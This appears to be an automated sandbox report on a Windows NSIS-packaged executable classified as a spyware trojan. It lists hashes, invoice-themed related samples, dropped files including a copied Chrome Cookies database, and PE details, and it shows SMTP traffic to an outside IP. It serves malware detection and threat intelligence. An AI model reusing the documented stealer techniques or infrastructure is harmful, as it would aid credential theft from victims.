                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • HDC enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Detection:MAL
                            Classification:mal100.troj.spyw.evad.winEXE@3/5@4/1
                            EGA Information:Failed
                            HDC Information:
                            • Successful, ratio: 64.6% (good quality ratio 63.4%)
                            • Quality average: 88.5%
                            • Quality standard deviation: 21.9%
                            HCA Information:Failed
                            Cookbook Comments:
                            • Adjust boot time
                            • Enable AMSI
                            • Found application associated with file extension: .exe
                            Warnings:
                            Show All
                            • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                            • Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 52.147.198.201, 92.122.145.220, 13.64.90.137, 168.61.161.212, 20.82.210.154, 20.72.88.19, 2.20.142.209, 2.20.142.210, 20.54.26.129, 20.75.105.140, 92.122.213.247, 92.122.213.194
                            • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, eus2-consumerrp-displaycatalog-aks2aks-useast.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, www.bing.com, skypedataprdcolwus17.cloudapp.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, dual-a-0001.dc-msedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            16:31:28API Interceptor742x Sleep call for process: i6xFULh8J5.exe modified

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                            185.145.97.154PAYMENT 02.BHN-DK.2021 (PO#4500111226).xlsxGet hashmaliciousBrowse
                              bnpQ6kcuVR.exeGet hashmaliciousBrowse
                                vbc (2).exeGet hashmaliciousBrowse
                                  ST7Ado3UF0.exeGet hashmaliciousBrowse
                                    P6Jz2vkfxM.exeGet hashmaliciousBrowse
                                      report payment.xlsxGet hashmaliciousBrowse
                                        sUBjOPCItO.exeGet hashmaliciousBrowse
                                          PO-May-2021.xlsxGet hashmaliciousBrowse
                                            0WkusO1rOi.exeGet hashmaliciousBrowse
                                              H2aIwW0WIT.exeGet hashmaliciousBrowse
                                                YOWLnt9Yre.exeGet hashmaliciousBrowse
                                                  38 X 38 X 2.5 MM.xlsxGet hashmaliciousBrowse
                                                    Jj8w5yRkRd.exeGet hashmaliciousBrowse
                                                      9c1ed25a_by_Libranalysis.exeGet hashmaliciousBrowse
                                                        bNU0rOHXQb.exeGet hashmaliciousBrowse
                                                          0b8e201e_by_Libranalysis.exeGet hashmaliciousBrowse
                                                            AWSC-##YU.xlsxGet hashmaliciousBrowse

                                                              Domains

                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext

                                                              ASN

                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                              HOSTWINDSUSPAYMENT 02.BHN-DK.2021 (PO#4500111226).xlsxGet hashmaliciousBrowse
                                                              • 185.145.97.154
                                                              PO.exeGet hashmaliciousBrowse
                                                              • 104.168.175.179
                                                              ___(__)10115_____210609.exeGet hashmaliciousBrowse
                                                              • 192.119.111.43
                                                              #Ubc1c#Uc8fc#Ubd84(#Uc2e0#Uaddc)_10115_#Uc9c0#Uc544#Uc774#Ud14c#Ud06c_210608.exeGet hashmaliciousBrowse
                                                              • 192.119.111.43
                                                              #Ubc1c#Uc8fc#Ubd84(#Uc2e0#Uaddc)_10115_#Uc9c0#Uc544#Uc774#Ud14c#Ud06c_210607.exeGet hashmaliciousBrowse
                                                              • 192.119.111.43
                                                              Quote20210607.exeGet hashmaliciousBrowse
                                                              • 192.119.111.43
                                                              bnpQ6kcuVR.exeGet hashmaliciousBrowse
                                                              • 185.145.97.154
                                                              vbc (2).exeGet hashmaliciousBrowse
                                                              • 185.145.97.154
                                                              20200237 Item List -#U00bb#U00e7#U00be#U00e7 #U00c0#U00fb#U00bf#U00eb.xlsx.exeGet hashmaliciousBrowse
                                                              • 192.119.111.43
                                                              _.htmlGet hashmaliciousBrowse
                                                              • 192.236.192.242
                                                              ST7Ado3UF0.exeGet hashmaliciousBrowse
                                                              • 185.145.97.154
                                                              P6Jz2vkfxM.exeGet hashmaliciousBrowse
                                                              • 185.145.97.154
                                                              report payment.xlsxGet hashmaliciousBrowse
                                                              • 185.145.97.154
                                                              20210531 Item List (114578PZ) - #U00bb#U00e7#U00be#U00e7 #U00c0#U00fb#U00bf#U00eb.exeGet hashmaliciousBrowse
                                                              • 104.168.166.188
                                                              PO-20210601.exeGet hashmaliciousBrowse
                                                              • 104.168.166.188
                                                              Quote-20210601.exeGet hashmaliciousBrowse
                                                              • 104.168.166.188
                                                              20200237 Item List (84EA) - #Uc0ac#Uc591 #Uc801#Uc6a9.exeGet hashmaliciousBrowse
                                                              • 104.168.166.188
                                                              Quote-210601.exeGet hashmaliciousBrowse
                                                              • 104.168.166.188
                                                              QUOTATION-FORM.exeGet hashmaliciousBrowse
                                                              • 104.168.166.188
                                                              sUBjOPCItO.exeGet hashmaliciousBrowse
                                                              • 185.145.97.154

                                                              JA3 Fingerprints

                                                              No context

                                                              Dropped Files

                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                              C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dllAWB00028487364 -000487449287.docGet hashmaliciousBrowse
                                                                090049000009000.exeGet hashmaliciousBrowse
                                                                  dYy3yfSkwY.exeGet hashmaliciousBrowse
                                                                    PAYMENT 02.BHN-DK.2021 (PO#4500111226).xlsxGet hashmaliciousBrowse
                                                                      Purchase Order Price List 061021.xlsxGet hashmaliciousBrowse
                                                                        Proforma Invoice and Bank swift-REG.PI-0086547654.exeGet hashmaliciousBrowse
                                                                          UGGJ4NnzFz.exeGet hashmaliciousBrowse
                                                                            Proforma Invoice and Bank swift-REG.PI-0086547654.exeGet hashmaliciousBrowse
                                                                              3arZKnr21W.exeGet hashmaliciousBrowse
                                                                                Shipping receipt.exeGet hashmaliciousBrowse
                                                                                  New Order TL273723734533.pdf.exeGet hashmaliciousBrowse
                                                                                    YZ8OvkljWm.exeGet hashmaliciousBrowse
                                                                                      U03c2doc.exeGet hashmaliciousBrowse
                                                                                        QUOTE061021.exeGet hashmaliciousBrowse
                                                                                          PAYMENT CONFIRMATION.exeGet hashmaliciousBrowse
                                                                                            PO187439.exeGet hashmaliciousBrowse
                                                                                              090009000000090.exeGet hashmaliciousBrowse
                                                                                                NEWORDERLIST.exeGet hashmaliciousBrowse
                                                                                                  00404000004.exeGet hashmaliciousBrowse
                                                                                                    40900900090000.exeGet hashmaliciousBrowse

                                                                                                      Created / dropped Files

                                                                                                      C:\Users\user\AppData\Local\Temp\cngupzj2oe
                                                                                                      Process:C:\Users\user\Desktop\i6xFULh8J5.exe
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):292864
                                                                                                      Entropy (8bit):7.999431096026405
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:Fl0wrd3yw6dDxCbwJQ2BYabuiDeD7rSphe5Tx/J81Y454:/rNyzCbwGebpheTx/Ju4
                                                                                                      MD5:50C707C4A6C86D7DEEA6AB366421D287
                                                                                                      SHA1:D8C267A75759ACFA4C41440FA114F1537C1C6DEB
                                                                                                      SHA-256:D318B7EA53EA3BAEA3077BDF6A509F5795F50347BCED88553B49224322115CBF
                                                                                                      SHA-512:B0E7AD4DB0358D8598E97EC9D3766115520CEA7586B1E1145DDB08D94DE4C39CE541CB5E11BDD45054B222778708A30A98B4044809110D76825F52DE8B20DDB6
                                                                                                      Malicious:false
                                                                                                      Reputation:low
                                                                                                      Preview: ....#.Z...Z..r..n...V.....'.]....(.....c[..&C.[.zP_..~..z.^.8.....1|.Y...../....4...Z.f.hX.<...P......\..z._c6....._.g..Q...wm....`.Q...\...@...~...d...#..-..mY....M:.....C5<E....S..}.?K@YG+..1.....1.>@5.$...Fs............2.P......v...J.P.{.R..E>a..e....(=I.@R|......^.K.1../..n..2..yh..\../.eq.l...74~..K..o..CM.<.Z..AP...#.......ye./p..F....>"*...a.aT.8..5X......-t..*...Mi.b...x....j.`|?......"(.....cA..k.A}..T..E.u (...5..'.M...D.3.c.w.L.&.t..P.wb[V...S._....8.....#f."...o'.~....d.....^Q.L.4.n.E....g..M..R..S....b_[.0+..iT....X`...hQ...h..l4..d.O...X.......>.L.Xn....D.|.Q.{.0]/.S..>.Ry. .=.@w....xKu.w..U......Z.8<...v..>_9L....y.".*..A2...A..QW.=.....,G..4.O.\M.s.Lig....> .........^..H.`lb$.......2._7.c....|!n.O4%?>O.*.'.5|..fI.......i.N]".8....1...b.L.Ev.....$._..O@..j$....(.pW....._.O...U..j3....(ag].3v..[...E..>..U.kh..M...;..~R+.3.f.....0.V.T+AC.Z.J..F..W~11.YD....|i.c.a.W{................P..R{S.] x..c.x3....J.f....._...+
                                                                                                      C:\Users\user\AppData\Local\Temp\imrixuzycldld
                                                                                                      Process:C:\Users\user\Desktop\i6xFULh8J5.exe
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):56353
                                                                                                      Entropy (8bit):4.960718014510871
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:768:PtBIk3+DDvjQSgCsBn/7sUA+J2/yBjJi+X7eqJpVxdk2q8xlB9mPiM8+xlMg8VS:1y/DCdBDsd+JQelnVxdkB8/B9mPi2yVS
                                                                                                      MD5:9C22DFC73C577BE53A2D0216ED1D846F
                                                                                                      SHA1:B6C3D777BFD8D4EA20AF30D77D413B50B558CB88
                                                                                                      SHA-256:CC6D0EC0C062FBB1934B0CDE671CD19F10130B7773F707F3CEBFC48841268DE3
                                                                                                      SHA-512:ED4A93461E65AD09228481AA973082F4319453ED77D62273E8535C8DD25FD7C92CA4BB1CF4A5D467E1D1B04593B9CEE3E30079CC682F32D8242E84BDD0C0DF00
                                                                                                      Malicious:false
                                                                                                      Reputation:low
                                                                                                      Preview: U...........p...).q.....r.....s.....t.....u.....v...k.w.....x.....y...d.z.....{.....|.....}...k.~.....................f.....O...............................................................................................6...........................................................k...................................k.........................................k.................Z.......................K.....N.................2...................................m...........'.....'.....'...................................2.......................k...................................k.........................................k...........2.....Z.................2.....K.....N.....................................................m...........'.....'.....'.................f.........................................k...........f.......................k...........f
                                                                                                      C:\Users\user\AppData\Local\Temp\nsm5CFB.tmp
                                                                                                      Process:C:\Users\user\Desktop\i6xFULh8J5.exe
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):388931
                                                                                                      Entropy (8bit):7.644285707033539
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6144:ph4l0wrd3yw6dDxCbwJQ2BYabuiDeD7rSphe5Tx/J81Y45s/ZQjkIuPut:KrNyzCbwGebpheTx/JusCjkI8m
                                                                                                      MD5:779592F0B8F98EBF3E724421735E1876
                                                                                                      SHA1:97C3E60CF03CBF2F57F78A172E09A53DB520F9E5
                                                                                                      SHA-256:9066D1B11F2B6FB122A37F20AA9DFD2FFFC99230A3328844E5BFBB79857FCE9A
                                                                                                      SHA-512:3F97F51DCA3A32825DB0806304137B16DDDBED911FBFAFEF70ACDA34D8093AC3C90B6EADA45FF32A190D1B8E0A279915E82AF5BE5EE5AEBCDCB69E12C3D18D53
                                                                                                      Malicious:false
                                                                                                      Reputation:low
                                                                                                      Preview: .m......,.......................LP......,l.......l..............................................................#...........................................................................................................................................................................J...................j...........................................................................................................................................W...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                      C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dll
                                                                                                      Process:C:\Users\user\Desktop\i6xFULh8J5.exe
                                                                                                      File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11776
                                                                                                      Entropy (8bit):5.855045165595541
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:xPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4v:g7VpNo8gmOyRsVc4
                                                                                                      MD5:FCCFF8CB7A1067E23FD2E2B63971A8E1
                                                                                                      SHA1:30E2A9E137C1223A78A0F7B0BF96A1C361976D91
                                                                                                      SHA-256:6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E
                                                                                                      SHA-512:F4335E84E6F8D70E462A22F1C93D2998673A7616C868177CAC3E8784A3BE1D7D0BB96F2583FA0ED82F4F2B6B8F5D9B33521C279A42E055D80A94B4F3F1791E0C
                                                                                                      Malicious:false
                                                                                                      Antivirus:
                                                                                                      • Antivirus: Metadefender, Detection: 0%, Browse
                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                      Joe Sandbox View:
                                                                                                      • Filename: AWB00028487364 -000487449287.doc, Detection: malicious, Browse
                                                                                                      • Filename: 090049000009000.exe, Detection: malicious, Browse
                                                                                                      • Filename: dYy3yfSkwY.exe, Detection: malicious, Browse
                                                                                                      • Filename: PAYMENT 02.BHN-DK.2021 (PO#4500111226).xlsx, Detection: malicious, Browse
                                                                                                      • Filename: Purchase Order Price List 061021.xlsx, Detection: malicious, Browse
                                                                                                      • Filename: Proforma Invoice and Bank swift-REG.PI-0086547654.exe, Detection: malicious, Browse
                                                                                                      • Filename: UGGJ4NnzFz.exe, Detection: malicious, Browse
                                                                                                      • Filename: Proforma Invoice and Bank swift-REG.PI-0086547654.exe, Detection: malicious, Browse
                                                                                                      • Filename: 3arZKnr21W.exe, Detection: malicious, Browse
                                                                                                      • Filename: Shipping receipt.exe, Detection: malicious, Browse
                                                                                                      • Filename: New Order TL273723734533.pdf.exe, Detection: malicious, Browse
                                                                                                      • Filename: YZ8OvkljWm.exe, Detection: malicious, Browse
                                                                                                      • Filename: U03c2doc.exe, Detection: malicious, Browse
                                                                                                      • Filename: QUOTE061021.exe, Detection: malicious, Browse
                                                                                                      • Filename: PAYMENT CONFIRMATION.exe, Detection: malicious, Browse
                                                                                                      • Filename: PO187439.exe, Detection: malicious, Browse
                                                                                                      • Filename: 090009000000090.exe, Detection: malicious, Browse
                                                                                                      • Filename: NEWORDERLIST.exe, Detection: malicious, Browse
                                                                                                      • Filename: 00404000004.exe, Detection: malicious, Browse
                                                                                                      • Filename: 40900900090000.exe, Detection: malicious, Browse
                                                                                                      Reputation:moderate, very likely benign file
                                                                                                      Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir*.-.D.-.D.-.D...J.*.D.-.E.>.D.....*.D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....$_...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..|....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                      C:\Users\user\AppData\Roaming\xnpbd3fr.5ju\Chrome\Default\Cookies
                                                                                                      Process:C:\Users\user\Desktop\i6xFULh8J5.exe
                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                      Category:dropped
                                                                                                      Size (bytes):20480
                                                                                                      Entropy (8bit):0.7006690334145785
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoe9H6pf1H1oNQ:T5LLOpEO5J/Kn7U1uBobfvoNQ
                                                                                                      MD5:A7FE10DA330AD03BF22DC9AC76BBB3E4
                                                                                                      SHA1:1805CB7A2208BAEFF71DCB3FE32DB0CC935CF803
                                                                                                      SHA-256:8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AAD8
                                                                                                      SHA-512:1DBE27AED6E1E98E9F82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C7
                                                                                                      Malicious:false
                                                                                                      Reputation:high, very likely benign file
                                                                                                      Preview: SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      Static File Info

                                                                                                      General

                                                                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                      Entropy (8bit):7.080951210547221
                                                                                                      TrID:
                                                                                                      • Win32 Executable (generic) a (10002005/4) 92.16%
                                                                                                      • NSIS - Nullsoft Scriptable Install System (846627/2) 7.80%
                                                                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                      • DOS Executable Generic (2002/1) 0.02%
                                                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                      File name:i6xFULh8J5.exe
                                                                                                      File size:540995
                                                                                                      MD5:6c425cf25da766d3d98597a9be4e7300
                                                                                                      SHA1:874344555856dca223730f32ac81b8a743db4cfd
                                                                                                      SHA256:0b72882fbad7f826525003747565e03257ad2e9f60b70d53fe11686dfff1705c
                                                                                                      SHA512:6a43093a9eb59d68c6fc7347eab380bd9dd35d4b8badc58eb744643e6a7b97425b6b5f21078c46bd9ef988c4ec4b813a14cf2a92f8e2e557c0dda5d82a6a87a9
                                                                                                      SSDEEP:6144:6sS4XfaAuVCZHen8rTxSLMsM30U2ckP0v5AhLxr0sQfjF9fc5+L+k6uzVXvC2f/N:skNfxxvxe0RAz4eo4cVRf/pJdNoSAg
                                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\.........

                                                                                                      File Icon

                                                                                                      Icon Hash:31f8d4f0e8f47080

                                                                                                      Static PE Info

                                                                                                      General

                                                                                                      Entrypoint:0x40323c
                                                                                                      Entrypoint Section:.text
                                                                                                      Digitally signed:false
                                                                                                      Imagebase:0x400000
                                                                                                      Subsystem:windows gui
                                                                                                      Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                                                                                                      DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                      Time Stamp:0x4B1AE3C6 [Sat Dec 5 22:50:46 2009 UTC]
                                                                                                      TLS Callbacks:
                                                                                                      CLR (.Net) Version:
                                                                                                      OS Version Major:4
                                                                                                      OS Version Minor:0
                                                                                                      File Version Major:4
                                                                                                      File Version Minor:0
                                                                                                      Subsystem Version Major:4
                                                                                                      Subsystem Version Minor:0
                                                                                                      Import Hash:099c0646ea7282d232219f8807883be0

                                                                                                      Entrypoint Preview

                                                                                                      Instruction
                                                                                                      sub esp, 00000180h
                                                                                                      push ebx
                                                                                                      push ebp
                                                                                                      push esi
                                                                                                      xor ebx, ebx
                                                                                                      push edi
                                                                                                      mov dword ptr [esp+18h], ebx
                                                                                                      mov dword ptr [esp+10h], 00409130h
                                                                                                      xor esi, esi
                                                                                                      mov byte ptr [esp+14h], 00000020h
                                                                                                      call dword ptr [00407030h]
                                                                                                      push 00008001h
                                                                                                      call dword ptr [004070B4h]
                                                                                                      push ebx
                                                                                                      call dword ptr [0040727Ch]
                                                                                                      push 00000008h
                                                                                                      mov dword ptr [00423F58h], eax
                                                                                                      call 00007F2FACA0072Eh
                                                                                                      mov dword ptr [00423EA4h], eax
                                                                                                      push ebx
                                                                                                      lea eax, dword ptr [esp+34h]
                                                                                                      push 00000160h
                                                                                                      push eax
                                                                                                      push ebx
                                                                                                      push 0041F458h
                                                                                                      call dword ptr [00407158h]
                                                                                                      push 004091B8h
                                                                                                      push 004236A0h
                                                                                                      call 00007F2FACA003E1h
                                                                                                      call dword ptr [004070B0h]
                                                                                                      mov edi, 00429000h
                                                                                                      push eax
                                                                                                      push edi
                                                                                                      call 00007F2FACA003CFh
                                                                                                      push ebx
                                                                                                      call dword ptr [0040710Ch]
                                                                                                      cmp byte ptr [00429000h], 00000022h
                                                                                                      mov dword ptr [00423EA0h], eax
                                                                                                      mov eax, edi
                                                                                                      jne 00007F2FAC9FDB2Ch
                                                                                                      mov byte ptr [esp+14h], 00000022h
                                                                                                      mov eax, 00429001h
                                                                                                      push dword ptr [esp+14h]
                                                                                                      push eax
                                                                                                      call 00007F2FAC9FFEC2h
                                                                                                      push eax
                                                                                                      call dword ptr [0040721Ch]
                                                                                                      mov dword ptr [esp+1Ch], eax
                                                                                                      jmp 00007F2FAC9FDB85h
                                                                                                      cmp cl, 00000020h
                                                                                                      jne 00007F2FAC9FDB28h
                                                                                                      inc eax
                                                                                                      cmp byte ptr [eax], 00000020h
                                                                                                      je 00007F2FAC9FDB1Ch
                                                                                                      cmp byte ptr [eax], 00000022h
                                                                                                      mov byte ptr [eax+eax+00h], 00000000h

                                                                                                      Rich Headers

                                                                                                      Programming Language:
                                                                                                      • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                      Data Directories

                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x73a40xb4.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x2c0000x2ea88.rsrc
                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x70000x28c.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                      Sections

                                                                                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                      .text0x10000x5a5a0x5c00False0.660453464674data6.41769823686IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                                      .rdata0x70000x11900x1200False0.4453125data5.18162709925IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                      .data0x90000x1af980x400False0.55859375data4.70902740305IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                                                      .ndata0x240000x80000x0False0empty0.0IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                      .rsrc0x2c0000x2ea880x2ec00False0.348648479278data4.44560190393IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                      Resources

                                                                                                      NameRVASizeTypeLanguageCountry
                                                                                                      RT_ICON0x2c3100x10828dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0EnglishUnited States
                                                                                                      RT_ICON0x3cb380x94a8dataEnglishUnited States
                                                                                                      RT_ICON0x45fe00x69dfPNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States
                                                                                                      RT_ICON0x4c9c00x5488dataEnglishUnited States
                                                                                                      RT_ICON0x51e480x4228dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 4294967295, next used block 4294967295EnglishUnited States
                                                                                                      RT_ICON0x560700x25a8dataEnglishUnited States
                                                                                                      RT_ICON0x586180x10a8dataEnglishUnited States
                                                                                                      RT_ICON0x596c00x988dataEnglishUnited States
                                                                                                      RT_ICON0x5a0480x468GLS_BINARY_LSB_FIRSTEnglishUnited States
                                                                                                      RT_DIALOG0x5a4b00x100dataEnglishUnited States
                                                                                                      RT_DIALOG0x5a5b00x11cdataEnglishUnited States
                                                                                                      RT_DIALOG0x5a6d00x60dataEnglishUnited States
                                                                                                      RT_GROUP_ICON0x5a7300x84dataEnglishUnited States
                                                                                                      RT_MANIFEST0x5a7b80x2ccXML 1.0 document, ASCII text, with very long lines, with no line terminatorsEnglishUnited States

                                                                                                      Imports

                                                                                                      DLLImport
                                                                                                      KERNEL32.dllCompareFileTime, SearchPathA, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, Sleep, GetTickCount, CreateFileA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, SetFileTime, GetTempPathA, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, lstrlenA, lstrcatA, GetSystemDirectoryA, GetVersion, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GetModuleHandleA, LoadLibraryExA, GetProcAddress, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, WriteFile, ReadFile, MulDiv, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, GetWindowsDirectoryA
                                                                                                      USER32.dllEndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, OpenClipboard, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, ShowWindow
                                                                                                      GDI32.dllSetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor, SelectObject
                                                                                                      SHELL32.dllSHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA, SHGetSpecialFolderLocation
                                                                                                      ADVAPI32.dllRegQueryValueExA, RegSetValueExA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA
                                                                                                      COMCTL32.dllImageList_AddMasked, ImageList_Destroy, ImageList_Create
                                                                                                      ole32.dllCoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
                                                                                                      VERSION.dllGetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

                                                                                                      Possible Origin

                                                                                                      Language of compilation systemCountry where language is spokenMap
                                                                                                      EnglishUnited States

                                                                                                      Network Behavior

                                                                                                      Network Port Distribution

                                                                                                      TCP Packets

                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                      Jun 10, 2021 16:33:07.274609089 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.326955080 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.327167034 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.407892942 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.408173084 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.461004972 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.461407900 CEST49759587192.168.2.4185.145.97.154
